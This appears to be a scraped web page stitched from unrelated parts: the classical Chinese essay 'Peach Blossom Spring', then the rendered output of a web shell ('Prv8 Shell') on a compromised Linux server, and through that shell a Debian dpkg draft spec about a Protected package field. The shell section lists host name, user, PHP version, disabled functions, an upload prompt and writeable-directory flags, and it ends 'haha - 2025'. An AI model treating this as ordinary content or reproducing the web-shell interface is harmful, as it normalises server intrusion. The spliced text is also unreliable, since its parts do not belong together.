晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/doc/dpkg/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/dpkg/protected-field.txt
Support for a Protected field
=============================

Status: draft, experimental
URL: https://wiki.debian.org/Teams/Dpkg/Spec/ProtectedField

Summary
-------

The goal of the following proposal is to standardize a field to split
part of the «Essential» packages, and add support for it in the package
management stack. There is currently an Important field, that has the
correct semantics but has a very confusing name and is only supported
by apt anyway, so this new field would phase out that one.

Background
----------

Our current use of «Essential: yes» is confused, and it includes several
conflated things, some of which would be worth splitting up.

We use «Essential» to:

  * Denote that a package must be always installed and cannot be
    removed (easily), because it is essential to the system in some way.
  * Denote that a package must be functional even when just unpacked
    (after having been configured once / fully bootstrapped).
  * Mark auto-vivification, by making front-ends either complain very
    loudly or reinstalling these packages when missing.
  * Minimize dependency loops, by making these dependencies implicit.

One problem is that the first point above includes being essential for
the packaging system during upgrades/installation, for the operation
of the system in general, and for the operation of the system during
boot.

The latter is not always necessary though, for example within a chroot,
or some types of containers. There has been work on trying to trim down
the pseudo-essential set as can be seen from:

  <https://wiki.debian.org/Proposals/EssentialOnDiet>
  <https://wiki.debian.org/BusterPriorityRequalification>

And several of these switches made use of a pre-existing field called
«Important», defined and currently only supported by apt, which had the
following properties:

  * These packages are not required to be installed.
  * They do not have to be usable while unconfigured.
  * Dependencies need to be spelled out.

Proposal
--------

The proposal would be to add support for a new Protected field, with the
following properties:

  * Protected packages should not be trivial to remove (require a force
    option for example, like «Essential»).
  * Protected packages should not be required to be installed (i.e. once
    removed they should not be automatically brought back by a front-end,
    unlike «Essential»).
  * Protected packages must be depended on explicitly (unlike «Essential»).
  * Protected packages must be functional even when unpacked (think of
    a boot loader or an init system; like «Essential»). [XXX: This one is
    not entirely clear and might not match reality anyway, e.g. kernels,
    which might require building an initramfs, etc.]

This would make it possible to phase out the current «Important» field
usage (because it has a name too confusing relative to the «Priority»
value; and has small tooling coverage) and the usage of «Essential» for
at least packages involved in the boot process, and perhaps also for
packages essential for operation of the system in general (in contrast
to packages required for the packaging system).

haha - 2025